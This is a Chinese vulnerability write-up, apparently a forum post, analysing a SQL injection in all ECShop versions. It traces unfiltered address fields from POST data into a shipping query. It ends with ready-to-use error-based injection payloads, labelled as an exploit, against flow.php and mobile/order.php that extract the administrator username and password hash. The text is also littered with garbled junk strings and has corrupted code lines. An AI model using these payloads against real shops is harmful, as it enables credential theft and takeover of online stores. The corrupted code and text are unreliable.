ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：

  @# d% P9 _( m+ l4 l4 o    /includes/lib_order.php

1 R0 C( G: n) f6 Q( N$ Z    关键函数：
1 A( d! V; {1 }  P. `' L
, Z: |9 Z4 h# E( y9 R) y
3 D$ [" T2 @( l( X- D! a0 }9 K
3 ^* Z9 v: g# T) ?* {/ X0 q01     function available_shipping_list($region_id_list)
4 K: E+ c6 c/ V! b9 A& D: `
! I0 N8 @% i( U* d02 {

8 P. Y0 n: P8 x9 \03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

, f, _7 ]; _6 Q5 j. E" i. }& T! O04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
- Y4 Z5 N3 v) K2 L* c
! T8 ^7 k2 g7 m05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
6 e; \  K  A. h& X0 E( O
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

* }2 L: w0 @/ y' l* L07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
) Q+ s$ J" F% t, |  B4 G, [0 X$ r( `
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
5 M) |8 {) J; E6 t# f
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   
* Z/ H9 s3 A) F6 ?/ Q
, W" a% \" P" Y/ n11     return $GLOBALS['db']->getAll($sql);

1 Z6 }6 `! ~* M12 }
) V- |$ k0 w4 k5 C2 u, _6 F
显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
1 W+ A* e  `0 o" C, X% { 第531行：   
" e- O: W" h. q/ E
: C/ U9 \; ?- X7 ~: v1 $shipping_list     = available_shipping_list($region);


! x2 g4 q) h& c' _2 H5 O
+ l, X. G- w! x# d

# z3 y! H6 w3 E0 W2 J9 r再对传入变量进行追踪：
: m7 y. H1 Q; ?& U1 w2 _' L
第530行：   

" P8 v0 O& \/ s9 K% d. Z1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
. ^! d) N  u$ x; c
! [7 P, O& Q: Y1 G+ V3 W

  E" T# s9 r+ g9 a: \
9 J% L6 D4 G& |" ~. r+ A5 o( q
第473行：        

8 n' E  X5 I5 B) u9 i3 u1 $consignee = get_consignee($_SESSION['user_id']);
/ b1 S/ }3 i3 P$ n
3 z" o/ C4 t: Q$ ], Y到了一个关键函数：

/includes/lib_order.php

% A7 I. w. q5 N: T9 M



) m, E2 _! d8 U8 O$ Z01 function get_consignee($user_id)

1 h! y# h4 Y$ m  w# C. a; g+ ~02 {

03     if (isset($_SESSION['flow_consignee']))

04     {

' J5 _6 C& P8 I$ H6 M& P8 j- q05         /* 如果存在session，则直接返回session中的收货人信息 */
6 @- [! w+ ?4 s% a+ ?
06   
" B; k/ [% f1 r# a% t
" q" h8 u9 {' b$ X6 t: ~07         return $_SESSION['flow_consignee'];
6 j" t  C9 K% k$ r5 c7 N
0 Z! v: c# ?! B% |0 t0 _08     }

09     else

6 r1 U: A9 N& w2 z10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */
: S2 L# m$ }9 E; I
( p. h2 t8 O0 D, V8 ?2 M4 S+ H12         $arr = array();

13   
: U; W5 ]0 Z- A
0 w, r. u3 O( c' Z3 l; d, y14         if ($user_id > 0)
/ b- S' J, l% e2 N5 d8 Z
15         {

16             /* 取默认地址 */

6 Q* q* y( ?9 d& _- v- ^. g4 h; e17             $sql = "SELECT ua.*".

$ V0 f" b: ~9 p. n( r) g; s18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

6 A( `, ^  g& a9 }' l19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

/ |/ o# L+ N' o20   

9 d  ~3 j$ W& l/ W, G+ \" i21             $arr = $GLOBALS['db']->getRow($sql);

. F  d# L$ G7 _$ c8 E( Y22         }
! g% _* o: s  @& x. {# A1 v
1 ~6 w+ b9 f1 e5 e4 v+ r) I4 L23   
/ O) o3 q+ @6 e) y3 r
) _& G8 O# p$ }. e& W; N+ t24         return $arr;

25     }

. a  ]% {- m5 L, b26 }
/ u# ?0 i4 X( T
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？

# d2 J/ J7 Z- B, l6 p5 l! |

关键点:
+ n2 p! ~  N+ v0 m" h) U
第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。
& P9 @/ e7 W% K* h* D- h
; ^5 U+ B4 P! L6 {

然后看下：
1 P0 A2 K3 R! N
  X4 c0 W2 B2 d+ ^1 \, V  J7 n
9 @' U& n! ]! k: k9 ?
, i4 z( {0 h: M" M; g! e/ D" [   
/ j+ s( Q: J. N8 d. w6 t2 {
01 $consignee = array(
, a4 W& g. v* L+ b" l7 Q
* J5 ~8 `! F# N$ ^/ [02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

% Y  S: z& \4 |0 Q3 Q* D03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
" b! Q( d' Z& F0 ]2 p& @0 G
7 A' B3 s6 C# t+ q) R04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

- b* B5 J! @1 H06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
- `1 ~3 T4 l3 Z1 N  Y* z' w" F
4 i- C# Y7 y3 w; l+ e; J07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
. t0 }3 E3 U4 u+ L
" G4 a, q( U( P5 |$ \08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
# S& q: O, h# T# j1 N" w
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

/ Y, X: R; k+ n$ n; [10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
1 K5 V3 w; p; B) B' l0 m2 R2 C
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

4 `5 |- ^. ^, L' T13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

& ^5 G; W; U9 O0 |15     );

+ f3 n* P! h/ e9 D& i好了注入就这样出现了。
* P# C) i% {( L5 f
==================

注入测试：

6 N4 j% u- u' I, y8 k. i7 v2 i环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
3 l$ P2 O; y* }: d' v! @2 L% Y
; C$ O7 T' P8 V. _3 V) o! a7 B% a) z测试程序：ECShop_V2.7.3_UTF8_release1106



: U5 _: T- P/ H/ y# d( d1.首先需要点击一个商品加入购物车

2.注册一个会员帐号
8 \7 p1 r; y' \
% _- ]% U' C8 Q* [; i- B3.post提交数据
. J* t2 `+ u. r* Y4 g
9 W; s# l0 s' n8 W" O2 ?+ V

1 http://127.0.0.1/ecshop/flow.php

2   
0 h8 Y. Q8 L8 r6 E1 e9 z
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

利用exp:

, D8 h+ |# u% B+ @4 R1.点击一个商品，点击购买商标

% K) o7 y0 F8 s6 O! O, o, K2.登录会员帐号
8 n' a5 {) r0 x- U; _) }3 R
3.post提交：
" j$ Q+ t& y! ^3 Q! m
& }( h7 B  E* R1 \http://127.0.0.1/ecshop/mobile/order.php
4 _5 M* K- {3 b/ C, W/ F! Q
6 h, k& Z' `) J: N
/ u* T, @: ^1 H0 S, G: n
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=